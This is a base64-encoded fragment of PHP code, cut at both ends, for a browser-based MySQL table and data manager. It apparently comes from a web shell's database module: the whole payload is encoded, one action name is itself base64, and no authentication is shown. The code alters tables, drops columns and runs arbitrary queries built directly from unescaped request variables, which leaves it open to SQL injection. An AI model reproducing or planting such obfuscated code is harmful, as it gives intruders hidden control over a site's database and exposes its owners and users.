+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBlID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KDQo8L3RhYmxlPg0KPHRhYmxlPg0KPHRyPjx0aD5NPC90aD48dGg+RDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPjx0aD52YWx1ZSBsaXN0IChleDogXCdhcHBsZVwnLCBcJ29yYW5nZVwnLCBcJ2JhbmFuYVwnKSA8L3RoPjwvdHI+DQo8dHI+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00IG5hbWU9TSAnOyBpZiggJE0gIT0gIiIgKSBlY2hvICJ2YWx1ZT0kTSI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00IG5hbWU9RCAnOyBpZiggJEQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kRCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9dW5zaWduZWQgdmFsdWU9IlVOU0lHTkVEIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAidW5zaWduZWQiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT16ZXJvZmlsbCB2YWx1ZT0iWkVST0ZJTEwiICc7IGlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICJ6ZXJvZmlsbCIgKSApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWJpbmFyeSB2YWx1ZT0iQklOQVJZIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiYmluYXJ5IiApICApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NjAgbmFtZT12YWx1ZWxpc3QgJzsgaWYoICR2YWx1ZWxpc3QgIT0gIiIgKSBlY2hvICJ2YWx1ZT1cIiR2YWx1ZWxpc3RcIiI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCg0KDQo8aDM+RmxhZ3M8L2gzPg0KPHRhYmxlPg0KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPW5vdF9udWxsIHZhbHVlPSJOT1QgTlVMTCIgJzsgaWYoICRmaWVsZG51bGwgIT0gIllFUyIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19JTkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cHJpbWFyeV9rZXkgdmFsdWU9IlBSSU1BUlkgS0VZIiAnOyBpZiggJGZpZWxka2V5ID09ICJQUkkiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCg0KPHA+JzsNCg0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRmllbGQnPlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRWRpdCBGaWVsZCc+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT1DYW5jZWwgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VGaWVsZF9zdWJtaXQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJG9sZF9uYW1lLCAkbmFtZSwgJHR5cGUsICRQSFBfU0VMRiwgJHF1ZXJ5U3RyLCAkZXJyTXNnLA0KCQkkTSwgJEQsICR1bnNpZ25lZCwgJHplcm9maWxsLCAkYmluYXJ5LCAkbm90X251bGwsICRkZWZhdWx0X3ZhbHVlLCAkYXV0b19pbmNyZW1lbnQsICRwcmltYXJ5X2tleSwgJHZhbHVlbGlzdDsNCg0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBDSEFOR0UgJG9sZF9uYW1lICRuYW1lICI7DQoNCglpZiggJE0gIT0gIiIgKQ0KCQlpZiggJEQgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIkdHlwZSgkTSwkRCkgIjsNCgkJZWxzZQ0KCQkJJHF1ZXJ5U3RyIC49ICIkdHlwZSgkTSkgIjsNCgllbHNlIGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgew0KCQkkdmFsdWVsaXN0ID0gc3RyaXBzbGFzaGVzKCAkdmFsdWVsaXN0ICk7DQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJHZhbHVlbGlzdCkgIjsNCgl9IGVsc2UNCgkJJHF1ZXJ5U3RyIC49ICIkdHlwZSAiOw0KDQoJJHF1ZXJ5U3RyIC49ICIkdW5zaWduZWQgJHplcm9maWxsICRiaW5hcnkgIjsNCg0KCWlmKCAkZGVmYXVsdF92YWx1ZSAhPSAiIiApDQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7DQoNCgkkcXVlcnlTdHIgLj0gIiRub3RfbnVsbCAkYXV0b19pbmNyZW1lbnQiOw0KDQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCg0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZmFsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBLRVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9ICIiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PSAiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFtZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29sdW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwgJG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQoJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiApOw0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZIEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAkcHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoNCgl2aWV3U2NoZW1hKCk7DQp9DQoNCmZ1bmN0aW9uIGRyb3BGaWVsZCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCg0KCSRxdWVyeVN0ciA9ICJBTFRFUiBUQUJMRSAkdGFibGVuYW1lIERST1AgQ09MVU1OICRmaWVsZG5hbWUiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciAsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KDQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbCAkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3dwZXJwYWdlLCAkb3JkZXJieTsNCg0KCWVjaG8gIjxoMT5EYXRhIGluIFRhYmxlPC9oMT5cbiI7DQoJaWYoICR0YWJsZW5hbWUgIT0gIiIgKQ0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lPC9wPlxuIjsNCg0KCSRxdWVyeVN0ciA9IHN0cmlwc2xhc2hlcyggJHF1ZXJ5U3RyICk7DQoJaWYoICRxdWVyeVN0ciA9PSAiIiApIHsNCgkJJHF1ZXJ5U3RyID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7DQoJCWlmKCAkb3JkZXJieSAhPSAiIiApDQoJCQkkcXVlcnlTdHIgLj0gIiBPUkRFUiBCWSAkb3JkZXJieSI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YWRkRGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+QWRkIERhdGE8L2E+IHwgXG4iOw0KCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXZpZXdTY2hlbWEmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnPlNjaGVtYTwvYT5cbiI7DQoJfQ0KDQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3FsX2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoNCgkkR0xPQkFMU1txdWVyeVN0cl0gPSAkcXVlcnlTdHI7DQoNCglpZiggJHBSZXN1bHQgPT0gZmFsc2UgKSB7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCWlmKCAkcFJlc3VsdCA9PSAxICkgew0KCQkkZXJyTXNnID0gIlN1Y2Nlc3MiOw0KCQllY2hvUXVlcnlSZXN1bHQoKTsNCgkJcmV0dXJuOw0KCX0NCg0KCWVjaG8gIjxocj5cbiI7DQoNCgkkcm93ID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJJGNvbCA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoNCglpZiggJHJvdyA9PSAwICkgew0KCQllY2hvICJObyBEYXRhIEV4aXN0ISI7DQoJCXJldHVybjsNCgl9DQoNCglpZiggJHJvd3BlcnBhZ2UgPT0gIiIgKSAkcm93cGVycGFnZSA9IDMwOw0KCWlmKCAkcGFnZSA9PSAiIiApICRwYWdlID0gMDsNCgllbHNlICRwYWdlLS07DQoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFnZSApOw0KDQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCglmb3IoICRpID0gMDsgJGkgPCAkY29sOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQsICRpICk7DQoJCWVjaG8gIjx0aD4iOw0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmb3JkZXJieT0iLiRmaWVsZC0+bmFtZS4iJz4iLiRmaWVsZC0+bmFtZS4iPC9hPlxuIjsNCgkJZWxzZQ0KCQkJZWNobyAkZmllbGQtPm5hbWUuIlxuIjsNCgkJZWNobyAiPC90aD5cbiI7DQoJfQ0KCWVjaG8gIjx0aCBjb2xzcGFuPTI+QWN0aW9uPC90aD5cbiI7DQoJZWNobyAiPC90cj5cbiI7DQoNCglmb3IoICRpID0gMDsgJGkgPCAkcm93cGVycGFnZTsgJGkrKyApIHsNCgkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQlpZiggJHJvd0FycmF5ID09IGZhbHNlICkgYnJlYWs7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCSRrZXkgPSAiIjsNCgkJZm9yKCAkaiA9IDA7ICRqIDwgJGNvbDsgJGorKyApIHsNCgkJCSRkYXRhID0gJHJvd0FycmF5WyRqXTsNCg0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaiApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsNCg0KCQkJaWYoIHN0cmxlbiggJGRhdGEgKSA+IDMwICkNCgkJCQkkZGF0YSA9IHN1YnN0ciggJGRhdGEsIDAsIDMwICkgLiAiLi4uIjsNCgkJCSRkYXRhID0gaHRtbHNwZWNpYWxjaGFycyggJGRhdGEgKTsNCgkJCWVjaG8gIjx0ZD5cbiI7DQoJCQllY2hvICIkZGF0YVxuIjsNCgkJCWVjaG8gIjwvdGQ+XG4iOw0KCQl9DQoNCgkJaWYoICRrZXkgPT0gIiIgKQ0KCQkJZWNobyAiPHRkIGNvbHNwYW49Mj5ubyBLZXk8L3RkPlxuIjsNCgkJZWxzZSB7DQoJCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1lZGl0RGF0YSRrZXkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnPkVkaXQ8L2E+PC90ZD5cbiI7DQoJCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kZWxldGVEYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZScgb25DbGljaz1cInJldHVybiBjb25maXJtKCdEZWxldGUgUm93PycpXCI+RGVsZXRlPC9hPjwvdGQ+XG4iOw0KCQl9DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCg0KCWVjaG8gIjxmb250IHNpemU9Mj5cbiI7DQoJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEY/YWN0aW9uPWRtbGxkMFJoZEdFPSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZScgbWV0aG9kPXBvc3Q+XG4iOw0KCWVsc2UNCgkJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0cicgbWV0aG9kPXBvc3Q+XG4iOw0KDQoJZWNobyAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlID4gMCApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+UHJldjwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIlByZXYiOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlIDwgKCRyb3cvJHJvd3BlcnBhZ2UpLTEgKSB7DQoJCWlmKCRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRtbGxkMFJoZEdFPSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZwYWdlPSIuKCRwYWdlKzIpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKzIpOw0KCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYgJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIiZvcmRlcmJ5PSRvcmRlcmJ5IjsNCgkJZWNobyAiJz5OZXh0PC9hPlxuIjsNCgl9IGVsc2UNCgkJZWNobyAiTmV4dCI7DQoJZWNobyAiIHwgIjsNCglpZiggJHJvdyA+ICRyb3dwZXJwYWdlICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPXBhZ2U+XG4iOw0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0dvJz5cbiI7DQoJfQ0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPC9mb250PlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRGF0YSggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEY7DQoNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxoMT5BZGQgRGF0YTwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBEYXRhPC9oMT5cbiI7DQoJCSRwUmVzdWx0ID0gbXlzcWxfbGlzdF9maWVsZHMoICRkYm5hbWUsICR0YWJsZW5hbWUgKTsNCgkJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KDQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRwUmVzdWx0ID0gbXlzcWxfcXVlcnkoICRxdWVyeVN0ciA9ICAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiLCAkbXlzcWxIYW5kbGUgKTsNCgkJJGRhdGEgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgl9DQoNCgllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7DQoNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWFkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gI